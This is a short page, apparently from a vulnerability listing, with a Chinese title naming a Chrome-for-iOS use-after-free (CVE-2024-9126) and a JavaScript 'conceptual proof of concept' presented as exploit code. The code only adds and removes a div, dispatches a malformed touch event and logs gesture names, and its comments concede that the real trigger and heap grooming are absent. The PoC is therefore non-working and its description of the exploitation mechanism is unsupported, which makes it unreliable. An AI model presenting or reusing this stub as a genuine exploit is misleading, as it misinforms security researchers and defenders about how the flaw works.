CVE-2024-9126 Google Chrome iOS 释放后重用漏洞

// CVE-2024-9126 PoC - Chrome iOS Use After Free // This is a conceptual proof of concept demonstrating the vulnerability trigger mechanism // Note: Actual exploitation requires specific UI gesture sequences on iOS // This PoC demonstrates the general pattern of triggering the vulnerability const pocPayload = { vulnerability: 'Use After Free in Chrome iOS Internals', cveId: 'CVE-2024-9126', target: 'Google Chrome on iOS < 127.0.6533.88', triggerMechanism: function() { // The actual PoC would require: // 1. Specific DOM manipulation to trigger internal component // 2. Precise sequence of UI gestures // 3. Heap grooming techniques console.log('[+] Initiating vulnerability trigger sequence'); // Step 1: Create conditions for use-after-free const targetElement = document.createElement('div'); targetElement.id = 'uaf-trigger'; document.body.appendChild(targetElement); // Step 2: Trigger internal component cleanup setTimeout(() => { targetElement.remove(); console.log('[+] Internal component freed'); }, 100); // Step 3: Access freed memory through gesture events setTimeout(() => { const gestureEvent = new TouchEvent('touchstart', { bubbles: true, touches: [{ pageX: 100, pageY: 100 }] }); document.dispatchEvent(gestureEvent); console.log('[+] UI gesture dispatched'); // Step 4: Trigger heap corruption through gesture sequence this.performGestureSequence(); }, 150); }, performGestureSequence: function() { // Simulate the curated UI gestures required for exploitation const gestures = ['swipe-left', 'swipe-right', 'pinch', 'long-press']; gestures.forEach((gesture, index) => { setTimeout(() => { console.log(`[+] Performing gesture: ${gesture}`); // Trigger specific gesture handler that leads to UAF }, index * 50); }); } }; // Execute PoC if (typeof window !== 'undefined') { pocPayload.triggerMechanism(); } console.log('[!] This is a conceptual demonstration only.'); console.log('[!] Actual exploitation requires iOS device and specific conditions.');
